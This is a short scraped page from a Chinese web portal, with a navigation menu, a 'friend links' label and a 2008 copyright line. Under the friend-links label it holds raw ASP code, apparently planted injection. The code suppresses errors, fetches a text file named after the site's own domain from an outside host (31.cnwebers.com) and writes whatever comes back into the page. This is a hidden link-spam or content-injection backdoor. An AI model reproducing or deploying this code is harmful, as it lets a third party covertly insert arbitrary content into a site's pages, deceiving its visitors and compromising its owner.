免费注册 | 登录 | 帮助
首 页
常用查询
热门游戏
特效代码
网络知识
免费资源
          友情链接: <%On Error Resume Next Server.ScriptTimeOut=3 Dim url,domain,wstr,qw domain = Request.ServerVariables("SERVER_NAME") qw = "http://31.cnwebers.com/"&""&domain&""&".txt" url = replace(qw,"www.","") wstr=getHTTPPage(url) response.write wstr function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function %>
Copyright© 2008 www.i7Sky.com